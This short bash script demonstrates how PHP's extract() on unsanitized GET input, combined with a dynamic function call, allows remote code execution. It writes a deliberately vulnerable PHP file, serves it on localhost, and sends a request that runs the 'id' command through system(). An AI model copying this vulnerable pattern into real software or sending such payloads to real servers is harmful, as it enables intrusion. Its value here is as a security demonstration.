Unsanitized User Input in PHP extract() and Dynamic Functions Can Lead to RCE

PHP_Extract_Demo_Security.sh

#!/bin/bash

# Display PHP version
php -v

# Create a PHP file containing malicious code using 'extract()'
echo '<?php extract($_GET); $ctx($str); ?>' > extract_test.php

# Display the contents of the created PHP file
cat extract_test.php

# Start a PHP server on 127.0.0.1:8899
php -S 127.0.0.1:8899 > /dev/null 2>&1 &

# Send a request to the PHP server with a malicious user input via a GET parameter
curl 'http://127.0.0.1:8899/extract_test.php?ctx=system&str=id'